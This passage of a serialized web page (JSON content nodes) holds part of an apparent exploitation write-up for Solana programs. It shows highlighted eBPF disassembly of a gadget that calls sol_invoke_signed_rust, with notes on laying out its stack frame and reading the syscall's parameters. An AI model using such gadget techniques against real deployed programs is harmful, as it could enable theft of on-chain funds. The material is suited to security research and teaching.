r4",{"type":22,"tag":101,"props":48235,"children":48236},{"style":120},[48237],{"type":27,"value":1875},{"type":22,"tag":101,"props":48239,"children":48240},{"style":126},[48241],{"type":27,"value":48137},{"type":22,"tag":101,"props":48243,"children":48244},{"style":166},[48245],{"type":27,"value":8372},{"type":22,"tag":101,"props":48247,"children":48248},{"style":1544},[48249],{"type":27,"value":48250},"152",{"type":22,"tag":101,"props":48252,"children":48253},{"style":120},[48254],{"type":27,"value":48151},{"type":22,"tag":101,"props":48256,"children":48257},{"style":126},[48258],{"type":27,"value":48259},"var_98",{"type":22,"tag":101,"props":48261,"children":48262},{"style":120},[48263],{"type":27,"value":188},{"type":22,"tag":101,"props":48265,"children":48266},{"class":103,"line":398},[48267,48272,48277,48281,48286,48290,48294,48298,48303,48307,48312],{"type":22,"tag":101,"props":48268,"children":48269},{"style":126},[48270],{"type":27,"value":48271},"100001bc0",{"type":22,"tag":101,"props":48273,"children":48274},{"style":126},[48275],{"type":27,"value":48276}," 79a570ff00000000",{"type":22,"tag":101,"props":48278,"children":48279},{"style":126},[48280],{"type":27,"value":48123},{"type":22,"tag":101,"props":48282,"children":48283},{"style":126},[48284],{"type":27,"value":48285}," r5",{"type":22,"tag":101,"props":48287,"children":48288},{"style":120},[48289],{"type":27,"value":1875},{"type":22,"tag":101,"props":48291,"children":48292},{"style":126},[48293],{"type":27,"value":48137},{"type":22,"tag":101,"props":48295,"children":48296},{"style":166},[48297],{"type":27,"value":8372},{"type":22,"tag":101,"props":48299,"children":48300},{"style":1544},[48301],{"type":27,"value":48302},"144",{"type":22,"tag":101,"props":48304,"children":48305},{"style":120},[48306],{"type":27,"value":48151},{"type":22,"tag":101,"props":48308,"children":48309},{"style":126},[48310],{"type":27,"value":48311},"var_90",{"type":22,"tag":101,"props":48313,"children":48314},{"style":120},[48315],{"type":27,"value":188},{"type":22,"tag":101,"props":48317,"children":48318},{"class":103,"line":428},[48319,48324,48329,48334],{"type":22,"tag":101,"props":48320,"children":48321},{"style":126},[48322],{"type":27,"value":48323},"100001bc8",{"type":22,"tag":101,"props":48325,"children":48326},{"style":1544},[48327],{"type":27,"value":48328}," 8520000020100000",{"type":22,"tag":101,"props":48330,"children":48331},{"style":126},[48332],{"type":27,"value":48333}," call",{"type":22,"tag":101,"props":48335,"children":48336},{"style":126},[48337],{"type":27,"value":48338}," sol_invoke_signed_rust\n",{"type":22,"tag":101,"props":48340,"children":48341},{"class":103,"line":997},[48342,48347,48352,48357,48361,48365,48369,48373,48378,48382],{"type":22,"tag":101,"props":48343,"children":48344},{"style":126},[48345],{"type":27,"value":48346},"100001bd0",{"type":22,"tag":101,"props":48348,"children":48349},{"style":1544},[48350],{"type":27,"value":48351}," 5500040000000000",{"type":22,"tag":101,"props":48353,"children":48354},{"style":126},[48355],{"type":27,"value":48356}," jne",{"type":22,"tag":101,"props":48358,"children":48359},{"style":120},[48360],{"type":27,"value":12726},{"type":22,"tag":101,"props":48362,"children":48363},{"style":166},[48364],{"type":27,"value":8426},{"type":22,"tag":101,"props":48366,"children":48367},{"style":1544},[48368],{"type":27,"value":21526},{"type":22,"tag":101,"props":48370,"children":48371},{"style":120},[48372],{"type":27,"value":139},{"type":22,"tag":101,"props":48374,"children":48375},{"style":126},[48376],{"type":27,"value":48377},"r0",{"type":22,"tag":101,"props":48379,"children":48380},{"style":120},[48381],{"type":27,"value":758},{"type":22,"tag":101,"props":48383,"children":48384},{"style":1544},[48385],{"type":27,"value":48386},"0x0\n",{"type":22,"tag":101,"props":48388,"children":48389},{"class":103,"line":1032},[48390],{"type":22,"tag":101,"props":48391,"children":48392},{"emptyLinePlaceholder":15},[48393],{"type":27,"value":1581},{"type":22,"tag":101,"props":48395,"children":48396},{"class":103,"line":1063},[48397,48402,48407,48412,48417,48421],{"type":22,"tag":101,"props":48398,"children":48399},{"style":126},[48400],{"type":27,"value":48401},"100001bd8",{"type":22,"tag":101,"props":48403,"children":48404},{"style":126},[48405],{"type":27,"value":48406}," b701000018000000",{"type":22,"tag":101,"props":48408,"children":48409},{"style":126},[48410],{"type":27,"value":48411}," mov",{"type":22,"tag":101,"props":48413,"children":48414},{"style":126},[48415],{"type":27,"value":48416}," r1",{"type":22,"tag":101,"props":48418,"children":48419},{"style":120},[48420],{"type":27,"value":758},{"type":22,"tag":101,"props":48422,"children":48423},{"style":1544},[48424],{"type":27,"value":48425},"0x18\n",{"type":22,"tag":101,"props":48427,"children":48428},{"class":103,"line":1071},[48429,48434,48439,48443,48447,48451,48455,48459,48464,48468,48473],{"type":22,"tag":101,"props":48430,"children":48431},{"style":126},[48432],{"type":27,"value":48433},"100001be0",{"type":22,"tag":101,"props":48435,"children":48436},{"style":126},[48437],{"type":27,"value":48438}," 79a288ff00000000",{"type":22,"tag":101,"props":48440,"children":48441},{"style":126},[48442],{"type":27,"value":48123},{"type":22,"tag":101,"props":48444,"children":48445},{"style":126},[48446],{"type":27,"value":48128},{"type":22,"tag":101,"props":48448,"children":48449},{"style":120},[48450],{"type":27,"value":1875},{"type":22,"tag":101,"props":48452,"children":48453},{"style":126},[48454],{"type":27,"value":48137},{"type":22,"tag":101,"props":48456,"children":48457},{"style":166},[48458],{"type":27,"value":8372},{"type":22,"tag":101,"props":48460,"children":48461},{"style":1544},[48462],{"type":27,"value":48463},"120",{"type":22,"tag":101,"props":48465,"children":48466},{"style":120},[48467],{"type":27,"value":48151},{"type":22,"tag":101,"props":48469,"children":48470},{"style":126},[48471],{"type":27,"value":48472},"var_78",{"type":22,"tag":101,"props":48474,"children":48475},{"style":120},[48476],{"type":27,"value":188},{"type":22,"tag":101,"props":48478,"children":48479},{"class":103,"line":1110},[48480,48485,48490,48495,48499,48504,48508,48512,48516,48521,48526,48531],{"type":22,"tag":101,"props":48481,"children":48482},{"style":126},[48483],{"type":27,"value":48484},"100001be8",{"type":22,"tag":101,"props":48486,"children":48487},{"style":1544},[48488],{"type":27,"value":48489}," 6312000000000000",{"type":22,"tag":101,"props":48491,"children":48492},{"style":126},[48493],{"type":27,"value":48494}," stxw",{"type":22,"tag":101,"props":48496,"children":48497},{"style":120},[48498],{"type":27,"value":911},{"type":22,"tag":101,"props":48500,"children":48501},{"style":126},[48502],{"type":27,"value":48503},"r2",{"type":22,"tag":101,"props":48505,"children":48506},{"style":166},[48507],{"type":27,"value":8372},{"type":22,"tag":101,"props":48509,"children":48510},{"style":1544},[48511],{"type":27,"value":8065},{"type":22,"tag":101,"props":48513,"children":48514},{"style":120},[48515],{"type":27,"value":27047},{"type":22,"tag":101,"props":48517,"children":48518},{"style":126},[48519],{"type":27,"value":48520},"r1",{"type":22,"tag":101,"props":48522,"children":48523},{"style":120},[48524],{"type":27,"value":48525}," {",{"type":22,"tag":101,"props":48527,"children":48528},{"style":1544},[48529],{"type":27,"value":48530},"0x18",{"type":22,"tag":101,"props":48532,"children":48533},{"style":120},[48534],{"type":27,"value":188},{"type":22,"tag":101,"props":48536,"children":48537},{"class":103,"line":1118},[48538,48543,48548,48553,48557,48561,48565],{"type":22,"tag":101,"props":48539,"children":48540},{"style":126},[48541],{"type":27,"value":48542},"100001bf0",{"type":22,"tag":101,"props":48544,"children":48545},{"style":1544},[48546],{"type":27,"value":48547}," 0500030000000000",{"type":22,"tag":101,"props":48549,"children":48550},{"style":126},[48551],{"type":27,"value":48552}," ja",{"type":22,"tag":101,"props":48554,"children":48555},{"style":120},[48556],{"type":27,"value":12726},{"type":22,"tag":101,"props":48558,"children":48559},{"style":166},[48560],{"type":27,"value":8426},{"type":22,"tag":101,"props":48562,"children":48563},{"style":1544},[48564],{"type":27,"value":21293},{"type":22,"tag":101,"props":48566,"children":48567},{"style":120},[48568],{"type":27,"value":527},{"type":22,"tag":101,"props":48570,"children":48571},{"class":103,"line":1158},[48572],{"type":22,"tag":101,"props":48573,"children":48574},{"emptyLinePlaceholder":15},[48575],{"type":27,"value":1581},{"type":22,"tag":101,"props":48577,"children":48578},{"class":103,"line":1166},[48579,48584,48589,48593,48597,48601,48605,48609,48613,48617,48621],{"type":22,"tag":101,"props":48580,"children":48581},{"style":126},[48582],{"type":27,"value":48583},"100001bf8",{"type":22,"tag":101,"props":48585,"children":48586},{"style":126},[48587],{"type":27,"value":48588}," 79a188ff00000000",{"type":22,"tag":101,"props":48590,"children":48591},{"style":126},[48592],{"type":27,"value":48123},{"type":22,"tag":101,"props":48594,"children":48595},{"style":126},[48596],{"type":27,"value":48416},{"type":22,"tag":101,"props":48598,"children":48599},{"style":120},[48600],{"type":27,"value":1875},{"type":22,"tag":101,"props":48602,"children":48603},{"style":126},[48604],{"type":27,"value":48137},{"type":22,"tag":101,"props":48606,"children":48607},{"style":166},[48608],{"type":27,"value":8372},{"type":22,"tag":101,"props":48610,"children":48611},{"style":1544},[48612],{"type":27,"value":48463},{"type":22,"tag":101,"props":48614,"children":48615},{"style":120},[48616],{"type":27,"value":48151},{"type":22,"tag":101,"props":48618,"children":48619},{"style":126},[48620],{"type":27,"value":48472},{"type":22,"tag":101,"props":48622,"children":48623},{"style":120},[48624],{"type":27,"value":188},{"type":22,"tag":101,"props":48626,"children":48627},{"class":103,"line":1215},[48628,48633,48638,48642,48646,48650],{"type":22,"tag":101,"props":48629,"children":48630},{"style":126},[48631],{"type":27,"value":48632},"100001c00",{"type":22,"tag":101,"props":48634,"children":48635},{"style":126},[48636],{"type":27,"value":48637}," bf02000000000000",{"type":22,"tag":101,"props":48639,"children":48640},{"style":126},[48641],{"type":27,"value":48411},{"type":22,"tag":101,"props":48643,"children":48644},{"style":126},[48645],{"type":27,"value":48128},{"type":22,"tag":101,"props":48647,"children":48648},{"style":120},[48649],{"type":27,"value":758},{"type":22,"tag":101,"props":48651,"children":48652},{"style":126},[48653],{"type":27,"value":48654},"r0\n",{"type":22,"tag":101,"props":48656,"children":48657},{"class":103,"line":2425},[48658,48663,48668,48672,48677,48681,48686,48690,48694,48699,48703,48707,48712,48717,48721,48725],{"type":22,"tag":101,"props":48659,"children":48660},{"style":126},[48661],{"type":27,"value":48662},"100001c08",{"type":22,"tag":101,"props":48664,"children":48665},{"style":1544},[48666],{"type":27,"value":48667}," 8510000075000000",{"type":22,"tag":101,"props":48669,"children":48670},{"style":126},[48671],{"type":27,"value":48333},{"type":22,"tag":101,"props":48673,"children":48674},{"style":114},[48675],{"type":27,"value":48676}," _ZN94_",{"type":22,"tag":101,"props":48678,"children":48679},{"style":166},[48680],{"type":27,"value":14294},{"type":22,"tag":101,"props":48682,"children":48683},{"style":114},[48684],{"type":27,"value":48685},"LT",{"type":22,"tag":101,"props":48687,"children":48688},{"style":166},[48689],{"type":27,"value":14294},{"type":22,"tag":101,"props":48691,"children":48692},{"style":126},[48693],{"type":27,"value":17656},{"type":22,"tag":101,"props":48695,"children":48696},{"style":166},[48697],{"type":27,"value":48698},"...$",{"type":22,"tag":101,"props":48700,"children":48701},{"style":126},[48702],{"type":27,"value":12052},{"type":22,"tag":101,"props":48704,"children":48705},{"style":166},[48706],{"type":27,"value":14294},{"type":22,"tag":101,"props":48708,"children":48709},{"style":114},[48710],{"type":27,"value":48711},"GT",{"type":22,"tag":101,"props":48713,"children":48714},{"style":166},[48715],{"type":27,"value":48716},"$$",{"type":22,"tag":101,"props":48718,"children":48719},{"style":114},[48720],{"type":27,"value":48711},{"type":22,"tag":101,"props":48722,"children":48723},{"style":166},[48724],{"type":27,"value":14294},{"type":22,"tag":101,"props":48726,"children":48727},{"style":120},[48728],{"type":27,"value":48729},"4from17ha0d289b72861b06dE\n",{"type":22,"tag":101,"props":48731,"children":48732},{"class":103,"line":5417},[48733],{"type":22,"tag":101,"props":48734,"children":48735},{"emptyLinePlaceholder":15},[48736],{"type":27,"value":1581},{"type":22,"tag":101,"props":48738,"children":48739},{"class":103,"line":7714},[48740,48745,48750,48754,48758,48762,48766,48770,48775,48779,48784],{"type":22,"tag":101,"props":48741,"children":48742},{"style":126},[48743],{"type":27,"value":48744},"100001c10",{"type":22,"tag":101,"props":48746,"children":48747},{"style":126},[48748],{"type":27,"value":48749}," 79a2b8ff00000000",{"type":22,"tag":101,"props":48751,"children":48752},{"style":126},[48753],{"type":27,"value":48123},{"type":22,"tag":101,"props":48755,"children":48756},{"style":126},[48757],{"type":27,"value":48128},{"type":22,"tag":101,"props":48759,"children":48760},{"style":120},[48761],{"type":27,"value":1875},{"type":22,"tag":101,"props":48763,"children":48764},{"style":126},[48765],{"type":27,"value":48137},{"type":22,"tag":101,"props":48767,"children":48768},{"style":166},[48769],{"type":27,"value":8372},{"type":22,"tag":101,"props":48771,"children":48772},{"style":1544},[48773],{"type":27,"value":48774},"72",{"type":22,"tag":101,"props":48776,"children":48777},{"style":120},[48778],{"type":27,"value":48151},{"type":22,"tag":101,"props":48780,"children":48781},{"style":126},[48782],{"type":27,"value":48783},"var_48",{"type":22,"tag":101,"props":48785,"children":48786},{"style":120},[48787],{"type":27,"value":188},{"type":22,"tag":101,"props":48789,"children":48790},{"class":103,"line":7723},[48791,48796,48801,48806,48810,48814,48818,48822,48826,48830],{"type":22,"tag":101,"props":48792,"children":48793},{"style":126},[48794],{"type":27,"value":48795},"100001c18",{"type":22,"tag":101,"props":48797,"children":48798},{"style":1544},[48799],{"type":27,"value":48800}," 1502040000000000",{"type":22,"tag":101,"props":48802,"children":48803},{"style":126},[48804],{"type":27,"value":48805}," jeq",{"type":22,"tag":101,"props":48807,"children":48808},{"style":120},[48809],{"type":27,"value":12726},{"type":22,"tag":101,"props":48811,"children":48812},{"style":166},[48813],{"type":27,"value":8426},{"type":22,"tag":101,"props":48815,"children":48816},{"style":1544},[48817],{"type":27,"value":21526},{"type":22,"tag":101,"props":48819,"children":48820},{"style":120},[48821],{"type":27,"value":139},{"type":22,"tag":101,"props":48823,"children":48824},{"style":126},[48825],{"type":27,"value":48503},{"type":22,"tag":101,"props":48827,"children":48828},{"style":120},[48829],{"type":27,"value":758},{"type":22,"tag":101,"props":48831,"children":48832},{"style":1544},[48833],{"type":27,"value":48386},{"type":22,"tag":101,"props":48835,"children":48836},{"class":103,"line":7791},[48837],{"type":22,"tag":101,"props":48838,"children":48839},{"emptyLinePlaceholder":15},[48840],{"type":27,"value":1581},{"type":22,"tag":101,"props":48842,"children":48843},{"class":103,"line":7799},[48844,48849,48854,48859,48863,48867],{"type":22,"tag":101,"props":48845,"children":48846},{"style":126},[48847],{"type":27,"value":48848},"100001c20",{"type":22,"tag":101,"props":48850,"children":48851},{"style":1544},[48852],{"type":27,"value":48853}," 2702000022000000",{"type":22,"tag":101,"props":48855,"children":48856},{"style":126},[48857],{"type":27,"value":48858}," mul",{"type":22,"tag":101,"props":48860,"children":48861},{"style":126},[48862],{"type":27,"value":48128},{"type":22,"tag":101,"props":48864,"children":48865},{"style":120},[48866],{"type":27,"value":758},{"type":22,"tag":101,"props":48868,"children":48869},{"style":1544},[48870],{"type":27,"value":48871},"0x22\n",{"type":22,"tag":101,"props":48873,"children":48874},{"class":103,"line":7829},[48875,48880,48885,48889,48893,48897,48901,48905,48910,48914,48919],{"type":22,"tag":101,"props":48876,"children":48877},{"style":126},[48878],{"type":27,"value":48879},"100001c28",{"type":22,"tag":101,"props":48881,"children":48882},{"style":126},[48883],{"type":27,"value":48884}," 79a1b0ff00000000",{"type":22,"tag":101,"props":48886,"children":48887},{"style":126},[48888],{"type":27,"value":48123},{"type":22,"tag":101,"props":48890,"children":48891},{"style":126},[48892],{"type":27,"value":48416},{"type":22,"tag":101,"props":48894,"children":48895},{"style":120},[48896],{"type":27,"value":1875},{"type":22,"tag":101,"props":48898,"children":48899},{"style":126},[48900],{"type":27,"value":48137},{"type":22,"tag":101,"props":48902,"children":48903},{"style":166},[48904],{"type":27,"value":8372},{"type":22,"tag":101,"props":48906,"children":48907},{"style":1544},[48908],{"type":27,"value":48909},"80",{"type":22,"tag":101,"props":48911,"children":48912},{"style":120},[48913],{"type":27,"value":48151},{"type":22,"tag":101,"props":48915,"children":48916},{"style":126},[48917],{"type":27,"value":48918},"var_50",{"type":22,"tag":101,"props":48920,"children":48921},{"style":120},[48922],{"type":27,"value":188},{"type":22,"tag":101,"props":48924,"children":48925},{"class":103,"line":7837},[48926,48931,48936,48940,48944,48948],{"type":22,"tag":101,"props":48927,"children":48928},{"style":126},[48929],{"type":27,"value":48930},"100001c30",{"type":22,"tag":101,"props":48932,"children":48933},{"style":126},[48934],{"type":27,"value":48935}," b703000001000000",{"type":22,"tag":101,"props":48937,"children":48938},{"style":126},[48939],{"type":27,"value":48411},{"type":22,"tag":101,"props":48941,"children":48942},{"style":126},[48943],{"type":27,"value":48182},{"type":22,"tag":101,"props":48945,"children":48946},{"style":120},[48947],{"type":27,"value":758},{"type":22,"tag":101,"props":48949,"children":48950},{"style":1544},[48951],{"type":27,"value":48952},"0x1\n",{"type":22,"tag":101,"props":48954,"children":48955},{"class":103,"line":7868},[48956,48961,48966,48970],{"type":22,"tag":101,"props":48957,"children":48958},{"style":126},[48959],{"type":27,"value":48960},"100001c38",{"type":22,"tag":101,"props":48962,"children":48963},{"style":126},[48964],{"type":27,"value":48965}," 8510000003feffff",{"type":22,"tag":101,"props":48967,"children":48968},{"style":126},[48969],{"type":27,"value":48333},{"type":22,"tag":101,"props":48971,"children":48972},{"style":126},[48973],{"type":27,"value":48974}," __rust_dealloc\n",{"type":22,"tag":101,"props":48976,"children":48977},{"class":103,"line":7876},[48978],{"type":22,"tag":101,"props":48979,"children":48980},{"emptyLinePlaceholder":15},[48981],{"type":27,"value":1581},{"type":22,"tag":101,"props":48983,"children":48984},{"class":103,"line":7936},[48985,48990,48995,48999,49003,49007,49011,49015,49020,49024,49029],{"type":22,"tag":101,"props":48986,"children":48987},{"style":126},[48988],{"type":27,"value":48989},"100001c40",{"type":22,"tag":101,"props":48991,"children":48992},{"style":126},[48993],{"type":27,"value":48994}," 79a2d0ff00000000",{"type":22,"tag":101,"props":48996,"children":48997},{"style":126},[48998],{"type":27,"value":48123},{"type":22,"tag":101,"props":49000,"children":49001},{"style":126},[49002],{"type":27,"value":48128},{"type":22,"tag":101,"props":49004,"children":49005},{"style":120},[49006],{"type":27,"value":1875},{"type":22,"tag":101,"props":49008,"children":49009},{"style":126},[49010],{"type":27,"value":48137},{"type":22,"tag":101,"props":49012,"children":49013},{"style":166},[49014],{"type":27,"value":8372},{"type":22,"tag":101,"props":49016,"children":49017},{"style":1544},[49018],{"type":27,"value":49019},"48",{"type":22,"tag":101,"props":49021,"children":49022},{"style":120},[49023],{"type":27,"value":48151},{"type":22,"tag":101,"props":49025,"children":49026},{"style":126},[49027],{"type":27,"value":49028},"var_30",{"type":22,"tag":101,"props":49030,"children":49031},{"style":120},[49032],{"type":27,"value":188},{"type":22,"tag":101,"props":49034,"children":49035},{"class":103,"line":13054},[49036,49041,49046,49050,49054,49058,49062,49066,49070,49074],{"type":22,"tag":101,"props":49037,"children":49038},{"style":126},[49039],{"type":27,"value":49040},"100001c48",{"type":22,"tag":101,"props":49042,"children":49043},{"style":1544},[49044],{"type":27,"value":49045}," 1502030000000000",{"type":22,"tag":101,"props":49047,"children":49048},{"style":126},[49049],{"type":27,"value":48805},{"type":22,"tag":101,"props":49051,"children":49052},{"style":120},[49053],{"type":27,"value":12726},{"type":22,"tag":101,"props":49055,"children":49056},{"style":166},[49057],{"type":27,"value":8426},{"type":22,"tag":101,"props":49059,"children":49060},{"style":1544},[49061],{"type":27,"value":21293},{"type":22,"tag":101,"props":49063,"children":49064},{"style":120},[49065],{"type":27,"value":139},{"type":22,"tag":101,"props":49067,"children":49068},{"style":126},[49069],{"type":27,"value":48503},{"type":22,"tag":101,"props":49071,"children":49072},{"style":120},[49073],{"type":27,"value":758},{"type":22,"tag":101,"props":49075,"children":49076},{"style":1544},[49077],{"type":27,"value":48386},{"type":22,"tag":101,"props":49079,"children":49080},{"class":103,"line":13072},[49081],{"type":22,"tag":101,"props":49082,"children":49083},{"emptyLinePlaceholder":15},[49084],{"type":27,"value":1581},{"type":22,"tag":101,"props":49086,"children":49087},{"class":103,"line":13117},[49088,49093,49098,49102,49106,49110,49114,49118,49123,49127,49132],{"type":22,"tag":101,"props":49089,"children":49090},{"style":126},[49091],{"type":27,"value":49092},"100001c50",{"type":22,"tag":101,"props":49094,"children":49095},{"style":126},[49096],{"type":27,"value":49097}," 79a1c8ff00000000",{"type":22,"tag":101,"props":49099,"children":49100},{"style":126},[49101],{"type":27,"value":48123},{"type":22,"tag":101,"props":49103,"children":49104},{"style":126},[49105],{"type":27,"value":48416},{"type":22,"tag":101,"props":49107,"children":49108},{"style":120},[49109],{"type":27,"value":1875},{"type":22,"tag":101,"props":49111,"children":49112},{"style":126},[49113],{"type":27,"value":48137},{"type":22,"tag":101,"props":49115,"children":49116},{"style":166},[49117],{"type":27,"value":8372},{"type":22,"tag":101,"props":49119,"children":49120},{"style":1544},[49121],{"type":27,"value":49122},"56",{"type":22,"tag":101,"props":49124,"children":49125},{"style":120},[49126],{"type":27,"value":48151},{"type":22,"tag":101,"props":49128,"children":49129},{"style":126},[49130],{"type":27,"value":49131},"var_38",{"type":22,"tag":101,"props":49133,"children":49134},{"style":120},[49135],{"type":27,"value":188},{"type":22,"tag":101,"props":49137,"children":49138},{"class":103,"line":13223},[49139,49144,49148,49152,49156,49160],{"type":22,"tag":101,"props":49140,"children":49141},{"style":126},[49142],{"type":27,"value":49143},"100001c58",{"type":22,"tag":101,"props":49145,"children":49146},{"style":126},[49147],{"type":27,"value":48935},{"type":22,"tag":101,"props":49149,"children":49150},{"style":126},[49151],{"type":27,"value":48411},{"type":22,"tag":101,"props":49153,"children":49154},{"style":126},[49155],{"type":27,"value":48182},{"type":22,"tag":101,"props":49157,"children":49158},{"style":120},[49159],{"type":27,"value":758},{"type":22,"tag":101,"props":49161,"children":49162},{"style":1544},[49163],{"type":27,"value":48952},{"type":22,"tag":101,"props":49165,"children":49166},{"class":103,"line":27496},[49167,49172,49177,49181],{"type":22,"tag":101,"props":49168,"children":49169},{"style":126},[49170],{"type":27,"value":49171},"100001c60",{"type":22,"tag":101,"props":49173,"children":49174},{"style":126},[49175],{"type":27,"value":49176}," 85100000fefdffff",{"type":22,"tag":101,"props":49178,"children":49179},{"style":126},[49180],{"type":27,"value":48333},{"type":22,"tag":101,"props":49182,"children":49183},{"style":126},[49184],{"type":27,"value":48974},{"type":22,"tag":101,"props":49186,"children":49187},{"class":103,"line":27531},[49188],{"type":22,"tag":101,"props":49189,"children":49190},{"emptyLinePlaceholder":15},[49191],{"type":27,"value":1581},{"type":22,"tag":101,"props":49193,"children":49194},{"class":103,"line":27539},[49195,49200,49205,49210,49214,49219],{"type":22,"tag":101,"props":49196,"children":49197},{"style":126},[49198],{"type":27,"value":49199},"100001c68",{"type":22,"tag":101,"props":49201,"children":49202},{"style":1544},[49203],{"type":27,"value":49204}," 9500000000000000",{"type":22,"tag":101,"props":49206,"children":49207},{"style":126},[49208],{"type":27,"value":49209}," exit",{"type":22,"tag":101,"props":49211,"children":49212},{"style":120},[49213],{"type":27,"value":1195},{"type":22,"tag":101,"props":49215,"children":49216},{"style":126},[49217],{"type":27,"value":49218},"__return_addr",{"type":22,"tag":101,"props":49220,"children":49221},{"style":120},[49222],{"type":27,"value":188},{"type":22,"tag":23,"props":49224,"children":49225},{},[49226,49228,49234],{"type":27,"value":49227},"Which, assuming that ",{"type":22,"tag":30,"props":49229,"children":49231},{"className":49230},[],[49232],{"type":27,"value":49233},"sol_invoke_signed_rust",{"type":27,"value":49235}," returns 0, is doing the following:",{"type":22,"tag":6828,"props":49237,"children":49238},{},[49239,49248,49257],{"type":22,"tag":6832,"props":49240,"children":49241},{},[49242],{"type":22,"tag":30,"props":49243,"children":49245},{"className":49244},[],[49246],{"type":27,"value":49247},"sol_invoke_signed_rust(r1, [r10-136], [r10-128], [r10-152], [r10-144])",{"type":22,"tag":6832,"props":49249,"children":49250},{},[49251],{"type":22,"tag":30,"props":49252,"children":49254},{"className":49253},[],[49255],{"type":27,"value":49256},"*[r10-120] = 0x18",{"type":22,"tag":6832,"props":49258,"children":49259},{},[49260,49262,49268,49270,49277],{"type":27,"value":49261},"Calls ",{"type":22,"tag":30,"props":49263,"children":49265},{"className":49264},[],[49266],{"type":27,"value":49267},"__rust_dealloc",{"type":27,"value":49269},", which in default circumstances is a ",{"type":22,"tag":80,"props":49271,"children":49274},{"href":49272,"rel":49273},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/entrypoint.rs#L257C1-L259",[84],[49275],{"type":27,"value":49276},"NOP",{"type":27,"value":231},{"type":22,"tag":23,"props":49279,"children":49280},{},[49281],{"type":27,"value":49282},"r10 is the stack pointer, so it will point to the stack frame of the current depth when executing that instruction.",{"type":22,"tag":23,"props":49284,"children":49285},{},[49286],{"type":27,"value":49287},"If we correctly set up the stack frame used by this gadget with valid parameters, that's a win.",{"type":22,"tag":23,"props":49289,"children":49290},{},[49291,49293,49300],{"type":27,"value":49292},"Looking at the ",{"type":22,"tag":80,"props":49294,"children":49297},{"href":49295,"rel":49296},"https://github.com/solana-labs/solana/blob/master/sdk/program/src/syscalls/definitions.rs#L59",[84],[49298],{"type":27,"value":49299},"definition",{"type":27,"value":49301},", it's not crystal clear what the parameters are:",{"type":22,"tag":91,"props":49303,"children":49305},{"className":93,"code":49304,"language":95,"meta":7,"style":7},"fn sol_invoke_signed_rust(instruction_addr: *const u8, account_infos_addr: *const u8, account_infos_len: u64, signers_seeds_addr: *const u8, signers_seeds_len: u64) -> u64\n",[49306],{"type":22,"tag":30,"props":49307,"children":49308},{"__ignoreMap":7},[49309],{"type":22,"tag":101,"props":49310,"children":49311},{"class":103,"line":104},[49312,49316,49321,49325,49330,49334,49338,49342,49346,49350,49355,49359,49363,49367,49371,49375,49380,49384,49388,49392,49397,49401,49405,49409,49413,49417,49422,49426,49430,49434,49438],{"type":22,"tag":101,"props":49313,"children":49314},{"style":108},[49315],{"type":27,"value":24258},{"type":22,"tag":101,"props":49317,"children":49318},{"style":926},[49319],{"type":27,"value":49320}," sol_invoke_signed_rust",{"type":22,"tag":101,"props":49322,"children":49323},{"style":120},[49324],{"type":27,"value":980},{"type":22,"tag":101,"props":49326,"children":49327},{"style":126},[49328],{"type":27,"value":49329},"instruction_addr",{"type":22,"tag":101,"props":49331,"children":49332},{"style":166},[49333],{"type":27,"value":169},{"type":22,"tag":101,"props":49335,"children":49336},{"style":166},[49337],{"type":27,"value":13822},{"type":22,"tag":101,"props":49339,"children":49340},{"style":108},[49341],{"type":27,"value":13660},{"type":22,"tag":101,"props":49343,"children":49344},{"style":114},[49345],{"type":27,"value":18636},{"type":22,"tag":101,"props":49347,"children":49348},{"style":120},[49349],{"type":27,"value":758},{"type":22,"tag":101,"props":49351,"children":49352},{"style":126},[49353],{"type":27,"value":49354},"account_infos_addr",{"type":22,"tag":101,"props":49356,"children":49357},{"style":166},[49358],{"type":27,"value":169},{"type":22,"tag":101,"props":49360,"children":49361},{"style":166},[49362],{"type":27,"value":13822},{"type":22,"tag":101,"props":49364,"children":49365},{"style":108},[49366],{"type":27,"value":13660},{"type":22,"tag":101,"props":49368,"children":49369},{"style":114},[49370],{"type":27,"value":18636},{"type":22,"tag":101,"props":49372,"children":49373},{"style":120},[49374],{"type":27,"value":758},{"type":22,"tag":101,"props":49376,"children":49377},{"style":126},[49378],{"type":27,"value":49379},"account_infos_len",{"type":22,"tag":101,"props":49381,"children":49382},{"style":166},[49383],{"type":27,"value":169},{"type":22,"tag":101,"props":49385,"children":49386},{"style":114},[49387],{"type":27,"value":174},{"type":22,"tag":101,"props":49389,"children":49390},{"style":120},[49391],{"type":27,"value":758},{"type":22,"tag":101,"props":49393,"children":49394},{"style":126},[49395],{"type":27,"value":49396},"signers_seeds_addr",{"type":22,"tag":101,"props":49398,"children":49399},{"style":166},[49400],{"type":27,"value":169},{"type":22,"tag":101,"props":49402,"children":49403},{"style":166},[49404],{"type":27,"value":13822},{"type":22,"tag":101,"props":49406,"children":49407},{"style":108},[49408],{"type":27,"value":13660},{"type":22,"tag":101,"props":49410,"children":49411},{"style":114},[49412],{"type":27,"value":18636},{"type":22,"tag":101,"props":49414,"children":49415},{"style":120},[49416],{"type":27,"value":758},{"type":22,"tag":101,"props":49418,"children":49419},{"style":126},[49420],{"type":27,"value":49421},"signers_seeds_len",{"type":22,"tag":101,"props":49423,"children":49424},{"style":166},[49425],{"type":27,"value":169},{"type":22,"tag":101,"props":49427,"children":49428},{"style":114},[49429],{"type":27,"value":174},{"type":22,"tag":101,"props":49431,"children":49432},{"style":120},[49433],{"type":27,"value":901},{"type":22,"tag":101,"props":49435,"children":49436},{"style":166},[49437],{"type":27,"value":17759},{"type":22,"tag":101,"props":49439,"children":49440},{"style":114},[49441],{"type":27,"value":17199},{"type":22,"tag":23,"props":49443,"children":49444},{},[49445,49447,49452,49454,49461],{"type":27,"value":49446},"The source of ",{"type":22,"tag":80,"props":49448,"children":49450},{"href":49449},"(https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/program.rs#L289)",[49451],{"type":27,"value":48064},{"type":27,"value":49453}," helps a lot, but looking at the actual ",{"type":22,"tag":80,"props":49455,"children":49458},{"href":49456,"rel":49457},"https://github.com/solana-labs/solana/blob/v1.17.4/programs/bpf_loader/src/syscalls/cpi.rs#L458-L637",[84],[49459],{"type":27,"value":49460},"implementation",{"type":27,"value":49462}," provides more clarity:",{"type":22,"tag":6839,"props":49464,"children":49465},{},[49466],{"type":22,"tag":6832,"props":49467,"children":49468},{},[49469,49474,49476,49483],{"type":22,"tag":30,"props":49470,"children":49472},{"className":49471},[],[49473],{"type":27,"value":49329},{"type":27,"value":49475}," points to a 